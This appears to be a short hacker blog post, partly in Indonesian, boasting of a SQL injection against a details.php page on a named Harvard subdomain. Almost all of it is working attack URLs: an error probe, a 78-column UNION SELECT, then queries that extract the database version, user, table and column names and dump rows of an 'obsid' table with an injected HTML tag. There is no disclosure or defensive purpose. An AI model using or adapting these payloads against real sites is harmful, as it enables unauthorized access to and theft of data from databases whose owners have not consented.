asc.harvard.edu "bugs sqli"

Everyone knows about the Harvard University,or we can acces in http://www.harvard.edu

But this web have subdomain asc . . . i had found this hole in POC with SQLI
This bugs in details.php

let me check in
 
http://asc.harvard.edu/vguide/details.php?agascid='21

Star query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''21' at line 1

so i try to find the magic number

http://asc.harvard.edu/vguide/details.php?agascid=-21-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12?,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,3?9,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,?66,67,68,69,70,71,72,73,74,75,76,77,78--

see got it and there's had many magic number i test in 3 nummbers

check some version ,database, and user

http://asc.harvard.edu/vguide/details.php?agascid=-21-1 union select 1,2,concat(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78--

and

http://asc.harvard.edu/vguide/details.php?agascid=-21-1 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from+information_schema.tables+where+table_schema=database()--


and

http://asc.harvard.edu/vguide/details.php?agascid=-21-1 union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from information_schema.columns+where+table_name=0x6f62736964--

http://asc.harvard.edu/vguide/details.php?agascid=-21-1 union select 1,2,concat_ws(0x3a,obs_obi_id,obsid,obi,agascid,comment,mag_plot_filename,obs_data_filename,target,ccd_set_point,ydith_period,zdith_period,obsdate,obslength,0x3c63656e7465723e3c683e5445535420627920736f6861693c2f683e3c2f63656e7465723e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from+obsid--

no thing special in there :D lol

1komentar: di postingan asc.harvard.edu "bugs sqli"